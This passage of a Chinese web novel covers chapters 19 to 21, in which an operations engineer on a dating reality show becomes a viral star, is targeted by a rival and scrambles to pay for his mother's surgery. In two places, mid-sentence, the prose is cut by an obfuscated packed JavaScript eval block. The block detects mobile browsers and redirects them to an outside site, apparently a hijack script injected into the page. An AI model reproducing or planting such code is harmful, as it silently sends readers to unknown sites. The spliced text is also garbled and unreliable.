而他,这个日薪百万的“普通素人”,正站在风暴眼中心。 他能做的,只是继续做自己。 继续真实。 继续……等待风暴过去。 或者,被风暴吞噬。 19. 热搜风暴:真实即是王炸 晚上八点,陈末坐在影音室里,看着大屏幕上自己那张被放大的脸,第一次理解了什么叫“社会性死亡”。 屏幕上正在播放特别访谈节目的先导预告片。剪辑师显然是个天才——把他所有“经典语录”剪在了一起: “说实话,为钱。这是一份工作。”(面无表情) “人如果出故障了?首先得定义什么是故障。”(严肃认真) “恋爱从系统协作角度,应该是两个独立系统建立稳定连接……”(一本正经) “日薪一千,每天工作十二小时,时薪83.33元。”(掏出手机计算器) “我在算工时。”(坦然自若) 最后画面定格在他困惑皱眉的表情上,配字:#人类系统优化师陈末# #恋综里的降维打击# #真实即是王炸# 预告片结束,影音室灯光亮起。 “如何?”刘导笑容满面地环视六位嘉宾,“特别访谈今晚九点上线,预计会再掀一波热度。” 苏小雨已经笑倒在沙发上:“陈末老师,你那个计算时薪的镜头,我看了十遍还是想笑!” 楚曦摇头:“你也太实诚了,还真在节目里算钱。” 秦澜推了推眼镜:“但从传播角度看,这种‘反套路’恰好击中了观众对真实感的渴求。” 林薇安静地坐在角落,但陈末注意到她嘴角有极轻微的弧度。 王烁笑容完美:“陈末确实创造了一种全新的综艺人设。值得学习。” 陈末没说话。他在想:这段预告片播出后,他母亲会不会看到?看到他这么“直白”地说为钱而来,会怎么想? “好了,大家回去准备一下,”刘导说,“九点我们集体观看首播,录反应视频。对了,陈末老师留一下。” 其他人离开后,刘导关上门,表情变得严肃。 “陈末,有件事要告诉你。”刘导压低声音,“王烁团队今天正式向节目组提出要求,希望调整你的镜头比重。” “调整?” “他们认为你现在热度太高,挤压了其他嘉宾的曝光空间,特别是王烁。”刘导说,“要求后续剪辑减少你的单人镜头,增加互动镜头,并且……不能让你继续‘一枝独秀’。” 陈末皱眉:“合同有规定镜头比重吗?” “没有。”刘导摇头,“但王烁的合同里有‘保证不低于平均曝光时长’的条款。现在你的数据……远超平均。” 陈末懂了。他的意外火爆,打乱了节目原有的权力平衡。 “节目组怎么决定?”他问。 “我们拒绝了。”刘导说,“从数据看,你是节目的最大看点,砍你的镜头等于自断流量。但我们也要平衡——后续会增加王烁和林薇的互动线,希望你能理解。” “我无所谓。”陈末说,“我只完成合同要求。” “那就好。”刘导松了口气,“另外,关于报酬的事……目前还没有泄露的明确证据。但王烁团队可能有所猜测。你自己注意。” “知道了。” 回到房间,陈末打开手机。张伟已经发了一堆消息: “末哥!预告片炸了!微博崩了三分钟!” “你的金句被做成表情包了!” “#陈末人类系统优化师# 冲到热搜第一了!” “现在全网都在讨论‘真实’这个话题!” 陈末点开热搜。果然,第一条就是他的话题。点进去,热门微博是一个心理学博主的分析长文: “为什么陈末的‘真实’能引发如此大的共鸣? 在过度包装的娱乐圈,赤裸裸的‘为钱而来’反而成了清流; 他用技术思维解构情感问题,提供了一种全新的认知框架; 他的‘笨拙’不是表演,而是一种智力上的诚实; 观众在他身上看到了被社会规训前的、未被污染的自我表达……” 下面评论几万条,大多表示认同。 陈末关掉页面。他不觉得自己“未被污染”,他只是……懒得包装。 九点,大家重新聚集在影音室。大屏幕已经调好,六个座位前放了饮料零食。摄像机位就绪。 “放松,自然反应。”刘导提醒,“看到好玩的可以笑,可以讨论。” 节目开始。 特别访谈时长四十五分钟,采用演播室谈话形式。主持人是个知名脱口秀演员,风格幽默。六位嘉宾轮流接受访谈,穿插节目片段。 第一个是王烁。他谈参加节目的初心,谈对爱情的期待,谈和其他嘉宾的相处。回答得体,笑容完美。但陈末注意到,当主持人提到“陈末的热度”时,王烁的笑容僵了0.5秒。 “王烁怎么看待陈末这种‘真实系’风格?”主持人问。 王烁优雅地整理袖口:“我觉得很好。综艺需要多样性。陈末提供了一种全新的视角,让我们这些习惯了镜头的人,也能反思什么是真实。” 标准答案。无懈可击。 第二个是苏小雨。她活泼可爱,讲录制趣事,讲和其他女嘉宾的姐妹情,讲对男嘉宾的印象——说到陈末时,她眼睛发亮:“陈末老师总是能解决所有问题!像个超人!” 主持人笑:“那你喜欢这种类型吗?” 苏小雨脸红了:“喜欢……作为朋友很喜欢!” 弹幕飘过:“小雨好可爱!”“她明明就是心动了吧!” 第三个楚曦。她直率坦诚,说自己来节目就是想谈恋爱,没什么不好意思的。提到陈末时,她说:“他教会我用数据分析运动,这角度很新奇。而且他很靠谱,答应的事一定会做到。” 主持人:“那靠谱是你的择偶标准吗?” 楚曦想了想:“是重要标准之一。” 第四个秦澜。她理性冷静,分析节目就像分析项目。提到陈末时,她说:“陈末的‘系统思维’对我启发很大。我在考虑请他做技术顾问。” 主持人惊讶:“所以节目结束后还有合作可能?” 秦澜点头:“如果他愿意。” 第五个林薇。她话最少,但每句都有分量。谈到为什么参加节目,她说:“想试试在没有剧本的地方,自己会怎么演。”提到陈末,她停顿了一下,“他让我明白,有些问题可以用全新的方式思考。” 主持人追问:“比如?” “比如……系统升级和热修复。”林薇说得很自然,但陈末听出了言外之意。 最后是陈末。当他的脸出现在屏幕上时,影音室里响起轻笑声——大家已经预感到会有“名场面”。 果然,主持人第一个问题就直奔核心:“陈末,你说参加节目是为了钱。现在节目这么火,你的目标达成了吗?” 陈末在屏幕里认真回答:“还在进行中。录制三十天,目前完成七天,还有二十三天。” 主持人笑了:“所以你在数着日子?” “嗯。按日薪计算,每天有明确进度。” “日薪多少能透露吗?” “合同保密。”陈末说,“但可以告诉你,我每天都在算工时。” 画面切到他掏出手机计算器的镜头,配了搞笑音效。影音室里,苏小雨已经笑到捂肚子。 接下来是技术问题环节。主持人问了他对爱情的系统比喻,对人际关系的运维理论,甚至还让他现场分析主持人的“性格系统”。 陈末一一回答,严肃得像在技术评审会。当他说到“人类情绪可以看作一种有状态服务,需要妥善管理会话和缓存”时,弹幕彻底疯了: “他在说什么但我好爱听!” “一本正经地胡说八道!” “这真的是恋综吗?这明明是TED演讲!” “我居然觉得他说得很有道理……” 访谈最后,主持人问:“陈末,你现在是全网热议的‘真实代言人’。你觉得这种‘真实’可持续吗?在娱乐圈,真实往往是最奢侈的东西。” 屏幕里的陈末思考了几秒:“真实不是一种选择,而是一种状态。就像服务器不会‘选择’是否响应请求,它只是按照设计运行。我也只是按照我的设计运行。” 这句话说完,画面定格。字幕浮现:“按自己的设计运行。” 节目结束。灯光亮起。 影音室里安静了几秒,然后楚曦吹了声口哨:“帅啊陈末,最后那句。” 苏小雨星星眼:“陈末老师好有深度!” 秦澜点头:“很好的收尾。‘按自己的设计运行’,可以当slogan了。” 林薇看着陈末,眼神复杂。 王烁笑容依旧:“陈末这段话会再上热搜的。” 他说对了。节目刚结束,#按自己的设计运行# 就冲上热搜榜。陈末的“金句库”又添新成员。 刘导进来,满脸红光:“收视率破纪录了!平台服务器差点撑不住!” 大家纷纷表示祝贺。但陈末注意到,王烁在鼓掌时,手指微微收紧。 散场后,陈末回房间的路上,手机震动不停。张伟的消息一条接一条: “末哥!你封神了!” “平台想签你当常驻嘉宾!开价这个数!”(附一张八位数报价单的照片) “三个综艺同时发邀请!” “有品牌想找你代言!技术类产品!” 陈末一条条看完,回复:“不接。节目结束我回公司。” 张伟秒回:“末哥你疯了?这是多少人梦寐以求的机会!” 陈末:“没兴趣。” 他放下手机,走到窗边。夜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990780|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的海面平静,但水下也许暗流汹涌。 就像这个节目,表面和谐,实则竞争激烈。 敲门声。是林薇。 “方便吗?”她问。 “请进。” 林薇进来,关上门。她今天穿了件深蓝色针织衫,显得比平时柔和。 “节目我看了。”她说,“你说得很好。” “谢谢。” “但你要小心。”林薇直入主题,“王烁今天找过制片人,要求重新谈判合同。” 陈末皱眉:“谈判什么?” “要求增加他的权益,包括镜头保障、人设定位、甚至……影响其他嘉宾的剪辑。”林薇看着他,“他重点提到了你。认为你的‘素人’身份占了‘明星’的便宜,要求限制你的发展空间。” “节目组会同意吗?” “暂时不会。”林薇说,“你现在是流量保障。但王烁背后有资本,如果施压过大……” 她没说完,但陈末懂了。 “另外,”林薇停顿了一下,“有件事我想告诉你。王烁团队……可能接触过你母亲的主治医生。” 陈末猛地抬头:“什么?” “只是猜测。”林薇说,“但我的人脉听到风声,说有人在打听你母亲病情的详细信息,不止是网上爆料那些。” 陈末想起母亲信息泄露的事。如果真是王烁团队…… “为什么?”他问,“为什么要针对我?” “因为你威胁到他了。”林薇说,“在这个节目里,王烁应该是绝对的焦点。但现在,所有人的注意力都在你身上。他的团队无法接受这种局面。” “我只是来工作的。”陈末说,“三十天后就走。” “但他们不相信。”林薇摇头,“在他们看来,你的一切行为——包括‘我只是来工作’这种态度——都是精心设计的人设,是更高明的营销。他们无法理解有人真的不在乎红不红。” 陈末沉默了。认知偏差。他以为自己是A,别人以为他是B,还认为他在假装A。 “我该怎么做?”他问。 “继续做你。”林薇说,“但……可能需要更谨慎。特别是关于合同和报酬,不要再提。王烁团队可能在找突破口,想证明你‘不真实’。” “我本来就没隐瞒什么。” “但他们可以制造。”林薇意味深长地说,“这个圈子里,真相不重要,观众相信的真相才重要。” 她说完,起身离开。走到门口时回头:“那本书,能再借我几天吗?” “哪本?” “《人月神话》。”林薇说,“第七章,关于沟通成本的部分,我想再看一遍。” “好。” 林薇离开后,陈末坐在房间里,久久没动。 王烁在行动。调查他母亲,施压节目组,可能还在谋划更多。 而他,一个日薪百万却以为自己日薪一千的运维工程师,突然被卷进了娱乐圈的权力游戏。 荒谬。但又真实。 手机又响了。这次是陌生号码。 陈末犹豫了一下,接听。 “陈末先生吗?”一个女声,职业化,“我是《星闻周刊》的记者,想就您参加节目的事做个专访……” “不接受采访。”陈末挂断。 电话又响。另一个号码。 “陈末老师您好,我是……” 挂断。 第三个,第四个…… 陈末直接关机。 世界安静了。 但只是表面安静。 窗外,乌云遮住了月亮。海面变得漆黑。 风暴要来了。 陈末知道,从现在开始,他要面对的不仅仅是镜头和任务。 还有镜头后的权力博弈,利益争夺,人性较量。 而他唯一的武器,就是林薇说的:继续做自己。 继续“按自己的设计运行”。 即使这个设计,在别人看来如此不合时宜,如此……危险。 他打开电脑,登录公司监控系统。 绿色的指示灯闪烁。一切正常。 在这个世界里,故障有明确的解决方案,问题有清晰的解决路径。 不像现实世界,这么混沌,这么……难以运维。 但这就是他现在的工作环境。 日薪一百万的工作环境。 他深吸一口气,开始处理工作邮件。 至少在这里,他还能找到一点掌控感。 窗外的风越来越大,拍打着窗户。 像某种警告。 也像某种催促。 催促他,在这场刚刚开始的游戏里,选好位置,做好准备。 因为真正的挑战,也许才刚刚拉开帷幕。 20. 意外中断的庆功宴 晚上七点,别墅宴会厅被装饰成了庆功宴现场。 水晶吊灯洒下温暖的光,长桌上摆满了精致的菜肴和香槟塔。墙上挂着节目开播以来的精彩瞬间照片——陈末那张“为钱而来”的采访截图被放大挂在正中央,配文:“真实的力量”。 刘导举着香槟杯,满面红光:“各位老师,庆祝《心动的岛屿》首播收视破纪录,全网讨论度登顶!” 六个嘉宾举杯。陈末杯子里是苏打水——他需要保持清醒,因为手机在震动。从下午到现在,医院打了三个电话,他都错过了。晚宴开始前他回拨过去,主治医生李医生只说“需要尽快面谈”,语气严肃。 “特别要感谢陈末老师!”刘导的声音把陈末拉回现场,“你创造了综艺史上的一个奇迹——素人嘉宾成为绝对焦点,金句频出,人设破圈!” 所有人都看向陈末。苏小雨眼睛亮晶晶的,楚曦笑着摇头,秦澜点头认可,林薇表情平静,王烁……王烁的笑容一如既往完美,但陈末注意到他握着杯子的手指关节微微发白。 “我只是做了该做的。”陈末说。 “太谦虚了!”刘导走过来拍拍他的肩,“你知道吗?现在有多少品牌想找你代言?多少综艺发来邀约?你已经是现象级人物了!” 陈末心想:现象级人物日薪一百万,好像也合理。但他只是点头:“谢谢。” 晚宴进行到一半时,节目组工作人员推出一个三层的庆祝蛋糕。蛋糕顶上用糖霜做了一台小小的服务器模型,旁边立着牌子:“人类系统优化师——陈末”。 “这个创意怎么样?”刘导得意地问。 陈末看着那个服务器模型,糖霜做的LED灯还在闪烁:“很……形象。” 苏小雨拿出手机拍照:“我要发微博!陈末老师的专属蛋糕!” 楚曦切蛋糕时故意把服务器模型那一块分给陈末:“来,吃你的本体。” 大家都笑了。气氛热烈,融洽。 但陈末的手机又在震动。这次是短信,来自李医生:“陈先生,看到请回电,情况紧急。” 紧急。这个词让陈末心里一沉。 他放下蛋糕:“抱歉,我去下洗手间。” 走出宴会厅,他快步走到走廊尽头,拨通电话。 “李医生,是我。” “陈末。”李医生的声音很急,“你母亲今天下午出现心律失常,我们做了紧急处理,现在暂时稳定。但情况比预想的复杂,手术需要提前。” “提前到什么时候?” “最好一周内。”李医生说,“而且……手术费用需要增加。因为情况复杂,可能需要请外院专家会诊,使用更昂贵的器械和药物。” “增加多少?” 电话那头沉默了几秒:“初步估计,还需要三十万。” 三十万。加上之前的二十五万,五十五万。 陈末闭上眼睛。即使以他现在知道的日薪一百万计算,五十五万也只是半天多的收入。但问题在于——钱还没到手。合同还有二十三天才结束,而母亲需要一周内手术。 “钱我会想办法。”陈末说,“能先安排术前准备吗?” “可以,但需要你先交一部分保证金。”李医生说,“二十万。明天中午前。” “好。” 挂了电话,陈末靠在墙上。走廊里很安静,能听见宴会厅传来的笑声和音乐声。 二十万。明天中午前。 他现在账户里只有三千多。 合同报酬要录制结束才支付。 怎么办? 他想起刘导说的品牌代言和综艺邀约。如果接一个,也许能预支费用? 但那些都需要时间谈判,签约,打款。来不及。 只有一个办法:找节目组预支。 但合同明确写着“录制结束后一次性支付”。而且他刚知道日薪是一百万,如果现在去要求预支,会不会显得…… “陈末?” 林薇的声音。她不知什么时候走了过来,手里拿着两杯水。 “给你。”她递过一杯。 “谢谢。”陈末接过,没喝。 “出什么事了?”林薇看着他,“你脸色很差。” 陈末犹豫。该说吗?林薇是影后,也许能帮忙? 但想起她的提醒——不要暴露弱点。 “没什么。”他说,“家里有点事。” 林薇没追问,只是说:“需要帮忙的话,我可以借你钱。多少都行。” 陈末惊讶地看着她。 “别误会,”林薇平静地说,“只是基于投资回报率的判断。你现在价值很高,借钱给你风险低。” 很理性的理由。但陈末听出了善意。 “谢谢,”他说,“暂时不用。” 两人沉默地站了一会儿。走廊那头传来脚步声——王烁走出来,看见他们,脚步顿了一下。 “原来你们在这儿。”王烁微笑,“刘导在找陈末,说要单独敬酒。” “我就来。”陈末说。 回到宴会厅,刘导真的在等他。老爷子已经喝得有点多,搂着陈末的肩膀:“陈末啊,你是我们节目的福星!来,再干一杯!” 陈末应付着喝了口苏打水。脑子里却在快速计算:如果现在找刘导预支二十万,成功率多大?以他现在的价值,节目组应该不会拒绝。但会不会影响合同?会不会让王烁团队抓到把柄? “刘导,”陈末抓住机会,“能借一步说话吗?” “现在?”刘导看看周围,“行,去我办公室。” 两人悄悄离开宴会厅。刘导办公室还亮着灯,桌上摊着明天的拍摄计划。 “什么事这么急?”刘导问。 陈末直截了当:“我需要预支二十万报酬。家里有急事。” 刘导的酒意醒了一半:“二十万?现在?” “明天中午前。”陈末说,“我可以写借条,从最终报酬里扣。” 刘导皱起眉:“合同规定录制结束后支付……但你的情况特殊。”他想了想,“二十万没问题,节目组可以垫付。但你得告诉我,什么事?” “母亲病情变化,需要手术保证金。” 刘导表情严肃了:“严重吗?” “医生说一周内必须手术。” 刘导点头:“明白了。我会让财务明天上午处理。另外……”他顿了顿,“手术费用够吗?不够的话,节目组可以……” “暂时够了。”陈末打断,“谢谢。” “别客气。”刘导拍拍他的肩,“你母亲的事,节目组也有责任。信息泄露那事,我们还在查。” 提到信息泄露,陈末想起林薇的猜测。 “刘导,”他问,“王烁团队最近有什么动作吗?” 刘导的表情变了变:“怎么问这个?” “只是想知道,我该注意什么。” 刘导叹了口气,坐下:“本来不想告诉你……王烁的经纪人今天下午正式发了律师函,要求重新审核你的合同,质疑你‘素人’身份的真实性。” “什么意思?” “他们认为你的表现太专业,不像普通素人,怀疑你是节目组安排的‘职业嘉宾’。”刘导说,“要求公开你的合同条款,证明你没有特殊待遇。” 陈末心里一紧。合同条款公开?日薪一百万如果曝光…… “节目组怎么回应?” “拒绝了。”刘导说,“合同有保密条款。但压力确实存在。王烁背后有资本力量,如果闹大了……” 他没说完,但陈末懂了。 “所以,”刘导看着他,“你现在不能出任何问题。特别是家庭方面——如果被知道你需要预支手术费,可能会被解读为‘卖惨炒作’,或者……证明你真的缺钱,反而坐实了‘为钱而来’的真实性。” “我本来就是为钱而来。”陈末说。 “我知道。”刘导点头,“但在舆论场上,真实也需要包装。你现在的‘真实’之所以被接受,是因为它显得纯粹、超脱。如果和金钱压力直接挂钩,可能会变味。” 陈末明白了。观众喜欢的是“洒脱地为钱而来”,不是“窘迫地为钱而来”。 “我会注意。”他说。 回到宴会厅时,庆功宴已接近尾声。苏小雨有点喝多了,拉着楚曦唱歌。秦澜在角落里接工作电话。王烁……王烁在和陈末目光相遇时,举了举杯,笑容意味深长。 林薇走过来:“谈完了?” “嗯。” “解决了?” “暂时。” 林薇点点头,没再问。她看着宴会厅里热闹的场景,轻声说:“有时候觉得,我们都在演一场盛大的戏。只是有人知道自己演,有人不知道。” “你呢?”陈末问,“知道吗?” “以前不知道。”林薇说,“但现在……开始知道了。” 这时,刘导重新上台,敲了敲杯子:“各位,最后宣布一件事——明天原定日程调整,上午自由休息,下午开始第三轮任务。任务主题是……‘信任挑战’。” 大家安静下来。 “具体规则明天公布。”刘导神秘地笑笑,“但可以透露的是,这次任务会考验各位之间的信任度,结果可能会影响后续分组。” 王烁挑眉:“听起来很有趣。” 楚曦问:“怎么考验?” “明天就知道了。”刘导说,“现在,最后举杯——为我们已经创造的奇迹,和即将到来的精彩!” 所有人举杯。陈末也举起苏打水。 杯子碰撞的声音清脆悦耳。 但陈末心里清楚:这场庆功宴的欢乐之下,暗流已经开始涌动。 他的母亲需要手术,需要钱。 王烁团队在调查他,质疑他。 节目组在压力下需要平衡各方。 而他,这个意外成为焦点的“素人”,必须在这复杂局势中,继续“做自己”。 即使这个“自己”,正变得越来越难以定义。 宴会结束,大家各自回房。陈末在楼梯口被王烁叫住。 “陈末,明天任务加油。”王烁说,“期待你的表现。” “你也是。”陈末说。 王烁看着他,忽然问:“你母亲……还好吗?” 陈末心里警铃大作:“为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990781|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么这么问?” “只是关心。”王烁笑容温和,“听说你下午打了好几个电话。如果家里有事,可以跟节目组说,大家都会帮忙的。” “谢谢。”陈末说,“没什么事。” “那就好。”王烁点头,“晚安。” 他上楼了。陈末站在原地,直到他的脚步声消失在走廊尽头。 林薇说得对,王烁在观察他,调查他。连他打电话的频率都注意到了。 回到房间,陈末第一时间打给李医生,确认明天上午汇款的事。然后打开手机备忘录,更新记录: 【紧急情况】 1. 母亲病情恶化,需一周内手术,费用追加30万,总计55万。 2. 需明天中午前支付20万保证金,已获刘导同意预支。 3. 王烁团队正式质疑“素人”身份,要求公开合同,施压节目组。 4. 明日任务“信任挑战”,需警惕可能针对性的设计。 写完,他盯着屏幕。五十五万手术费,对于日薪百万来说,其实不多。只要顺利完成合同,钱不是问题。 问题在于时间。母亲等不了二十三天。 问题在于王烁。如果合同条款被曝光,日薪百万会引起什么反应? 问题在于……他还能不能继续“单纯地工作”。 手机震动。张伟发来一张截图,是某个八卦论坛的帖子标题:“深扒陈末背景:普通运维还是资本棋子?” 陈末点开。帖子内容很详细,分析了他的教育背景、工作经历,甚至找到了他大学时参加技术竞赛的获奖记录。最后结论:这样的人才,怎么可能只是普通素人?肯定是节目组精心设计的“高知素人”人设。 评论区吵成一团。有人信,有人不信,有人无所谓。 陈末关掉页面。他确实是普通运维,只是碰巧会些额外技能。但在娱乐圈的逻辑里,没有“碰巧”,只有“设计”。 这时,刘导发来消息:“财务已安排,明早十点汇款。另外,合同的事有新情况,需要你明天上午来办公室一趟。” 合同的新情况? 陈末回复:“什么情况?” “见面说。”刘导只回了三个字。 夜已深。陈末躺在床上,睡不着。 窗外的海声规律地传来,像巨大的呼吸。 他想起第一天到达时的心情——只想赚够手术费,安静地当个背景板。 现在呢?他成了焦点,成了话题,成了某些人的威胁。 母亲病情加重。 合同可能出问题。 王烁在暗中行动。 一切都在变复杂。 而他,还在数着日子:第八天结束了,还有二十二天。 日薪一百万,二十二天就是两千两百万。 足够母亲手术,足够他们未来生活。 但前提是,他能顺利拿到这笔钱。 前提是,合同不会出问题。 前提是,王烁团队不会成功施压。 前提是……他能在这场越来越复杂的游戏里,保持平衡,不被淘汰。 他闭上眼睛。 脑海里浮现出母亲躺在病床上的样子。 浮现出那本《Linux服务器运维实战》的封面。 浮现出林薇问“怎么重构自己”时的表情。 浮现出苏小雨兴奋的笑容,楚曦直率的眼神,秦澜理性的分析,王烁完美的微笑。 还有刘导说“你是我们的福星”时发光的脸。 这一切,都建立在一个脆弱的平衡上。 而这个平衡,可能随时被打破。 被母亲的病情打破。 被王烁的野心打破。 被合同的真相打破。 被……他自己都不知道的,隐藏在平静表面下的暗流打破。 陈末深吸一口气,坐起身。 打开电脑,登录公司服务器监控系统。 绿色的指示灯安静地闪烁。 一切正常。 在这个由代码和电路构成的世界里,故障有明确的解决方案,问题有清晰的解决路径。 输入,处理,输出。 简单,直接,可控。 不像他现在身处的这个世界—— 充满未知变量,隐藏风险,复杂博弈。 但他必须面对。 为了母亲。 为了那笔能救命,也能改变他们生活的钱。 为了……他也不知道的什么。 也许只是为了证明,即使在这个混乱的世界里,他也能“按自己的设计运行”。 即使这个设计,正被迫不断修改,不断调整,不断……重构。 窗外,天色微亮。 新的一天要开始了。 新的挑战要来了。 而陈末,这个误入星海却意外成为焦点的运维工程师,即将迎来他在这档节目里,真正的第一场硬仗。 他准备好了吗? 他不知道。 他只知道,他必须准备好。 因为这一次,输掉的代价, 他承受不起。 21. 二十万的重量 早晨九点四十七分,陈末手机震动了。 银行短信提醒:“您尾号3472的账户转入人民币200,000.00元,余额203,271.58元。” 陈末盯着那串数字看了足足一分钟。二十万。昨天还觉得遥不可及的数字,现在安静地躺在他账户里。这是他工作以来见过的最大的单笔进账——如果不算那纸合同上虚幻的一百万日薪的话。 但奇怪的是,他没有感到轻松,反而觉得胸口压了块石头。 二十万只是保证金。手术总费用五十五万,还有三十五万缺口。而母亲需要一周内手术。 他快速心算:按日薪一百万算,三十五万只是八小时四十二分钟的收入。理论上,只要他再录八小时四十二分钟,钱就够了。 但合同规定录制结束后才支付。还有二十二天。 时间差。 陈末第一次如此清晰地意识到“时间”这个变量的重量。在运维的世界里,时间可以靠增加服务器、优化代码来争取。但在现实世界,有些时间窗口关闭了就不会再开。 他坐在床边,打开笔记本电脑。不是处理工作,而是打开浏览器,开始搜索: “短期理财高收益” “合法借贷快速审批” “资产抵押贷款流程” 每看一条,他就用运维思维评估风险等级和可行性。 短期理财:收益低,周期不确定,风险低。否决。 借贷平台:利率高,审批快,但需要信用评估——他之前申请过,被拒。风险高。否决。 抵押贷款:他唯一能抵押的是老家那套六十平的老房子,评估加放款至少一个月。否决。 所有方案的风险矩阵都显示红色。 陈末关掉电脑,走到窗边。花园里,苏小雨在跟楚曦学瑜伽,动作笨拙但认真。阳光很好,海面平静。一切都显得那么……不真实。 “陈末老师!”苏小雨看见他,挥手,“下来一起练瑜伽呀!” 陈末摇头,关上窗户。 他需要重新规划。既然常规路径不行,只能考虑非常规路径。 选项一:找节目组预支更多。风险:暴露真实财务压力,可能被王烁团队利用。但成功率高,刘导已经表现出支持。 选项二:接受秦澜的合作邀约,要求预支部分年薪。风险:绑定长期关系,偏离原有职业规划。成功率中等。 选项三:找林薇借钱。她昨天主动提过。风险:欠人情,可能影响节目内关系平衡。但林薇看起来……可靠。 陈末在手机备忘录里建了个决策矩阵,给每个选项打分:成功率、风险等级、时间成本、后续影响。 算完,选项一综合得分最高。 他给刘导发了条消息:“刘导,方便时请回电,有事商量。” 等待回复时,他继续计算:如果预支全额手术费五十五万,相当于提前支取半天多的工资。从投资回报率看,节目组应该不会拒绝——他现在每天为节目创造的价值远不止这个数。 但问题在于,一旦开口,就等于承认自己有严重的资金需求。这在娱乐圈语境里,可能被解读为“卖惨”或“功利”。 手机响了,是刘导。 “陈末老师,钱收到了吧?” “收到了,谢谢。”陈末停顿了一下,“刘导,我可能需要……再预支一些。” 电话那头安静了两秒:“多少?” “三十五万。凑够手术费。” “今天就要?” “越快越好。” 刘导叹了口气:“陈末,不是我不帮你。但财务流程走一次已经特批了,连续预支……我需要跟上面解释。而且,如果被其他人知道……” “我明白。”陈末说,“如果不行,我再想其他办法。” “给我半天时间。”刘导说,“我尽力。另外……你今天状态怎么样?下午录制能正常进行吗?” “能。”陈末说,“工作不影响。” “那就好。保持状态,你是节目的定海神针。” 挂了电话,陈末看了眼时间。十点半。离下午录制还有三小时。 他决定去健身房——不是运动,是计算。跑步机的数字能帮他集中注意力。 健身房空无一人。陈末上了跑步机,设了慢速,开始走。脑子里继续算账: 已知:日薪100万,已录制8天,应得800万(税前)。 已知:母亲手术费55万。 问题:如何在合同结束前(22天后)拿到钱? 约束条件:1. 母亲需7天内手术;2. 合同规定录制结束后支付;3. 王烁团队在施压。 解:要么改变约束条件1(推迟手术,风险极高),要么改变约束条件2(提前支取,正在尝试),要么……增加新的收入来源。 他想到秦澜的邀约。年薪多少来着?她没说具体数字,但以她的级别,至少百万级别。如果答应,也许能预支一部分。 但那就意味着要进入娱乐圈。他不擅长,也不喜欢。 跑步机计时器跳到三十分钟。陈末停下,擦了擦汗。心率120,比平时高——压力反应。 “你果然在这儿。” 林薇的声音。她穿着运动服走进来,头发扎成马尾,素颜,看起来比镜头前年轻几岁。 “林薇老师。”陈末点头。 “叫我林薇就行。”她在旁边的器械上坐下,“你看起来……在思考很复杂的问题。” 陈末没否认。 “关于钱?”林薇问得很直接。 陈末看了她一眼。林薇的表情很平静,没有刺探的意思。 “嗯。”他承认。 “二十万不够?” “不够。” 林薇点点头,没问具体数字。她开始做拉伸,动作流畅专业。“昨天我说的话依然有效。需要多少,给我个数。” 陈末犹豫了。林薇的提议在决策矩阵里风险中等,但有一个隐藏风险:如果接受她的帮助,在节目里的关系就变了。从“技术咨询对象”变成“债权人”。 “我在等节目组的回复。”他说。 “刘导在帮你协调?” “嗯。” “那就好。”林薇做完一组拉伸,站起身,“不过,以我对节目组的了解,他们最多再给二十万。再多就需要更高层审批,时间会更长。” 陈末心里一沉。二十万加二十万,四十万。还差十五万。 “为什么告诉我这些?”他问。 “因为你看问题的角度太技术。”林薇说,“你算风险,算概率,算回报率。但有些变量你没法量化——比如人情,比如信任。” 陈末沉默。 “我不是在批评你。”林薇补充,“你的思维方式是你的优势。只是……有时候解决问题不止一条路径。” “比如?” “比如,”林薇看着他,“你可以接受我的帮助,然后把它看作一次投资。我投资你的未来价值,你只需要在未来某个时间,用你的专业能力回报我。这样就不是人情,是商业合作。” 陈末思考这个模式。类似于风险投资——投资人提供资金,创业者提供未来收益预期。 “你的投资预期回报率是多少?”他问。 林薇笑了:“你很严谨。但我不要金钱回报。我要的是……当你以后解决了一个有趣的技术或人生难题时,把思路分享给我。就当是知识付费。” 这个条件很特别。陈末想了想:“可以接受。” “所以,”林薇走到他面前,“还差多少?” “十五万。” “账号给我,现在转。” 陈末愣住了:“你不签协议?不怕我赖账?” “你会吗?”林薇反问。 陈末摇头。 “那就行了。”林薇拿出手机,“我转你三十万,多出的十五万当作术后康复和营养费。不用急,什么时候有什么时候还。没有利息,没有期限。” 陈末看着林薇。她的眼神很清澈,没有任何算计或施舍的意味。就像在说一件很平常的事。 “为什么帮我?”他问。 林薇操作手机的动作停了一下:“因为你也帮了我。虽然你觉得自己只是在回答问题。” 转账提示音很快响起。陈末手机震动,新短信:“您尾号3472的账户转入人民币300,000.00元,余额503,271.58元。” 五十五万,齐了。 压在心口的石头突然消失了。取而代之的是一种……陌生的感觉。不是喜悦,不是轻松,而是一种混合了感激、困惑和某种压力的复杂情绪。 “谢谢。”陈末说。他觉得这两个字太轻。 “不客气。”林薇收起手机,“现在,你母亲的手术费解决了。接下来可以专心工作了。” “我会尽快还你。” “我说了,不急。”林薇转身走向门口,“下午任务加油。我听说……是信任挑战。” 她离开了。 陈末站在原地,看着手机屏幕上那串数字。五十五万,足够手术了。但他欠了林薇三十万——虽然她说不用急。 他重新打开手机备忘录,新建一条记录: 【债务明细】 债权人:林薇 金额:300,000元 条款:无息,无限期,以知识分享形式偿还 备注:需制定偿还计划,虽无期限但应有时间表 写完,他继续写: 【当前状态更新】 1. 手术资金已到位(55万),待确认医院收款。 2. 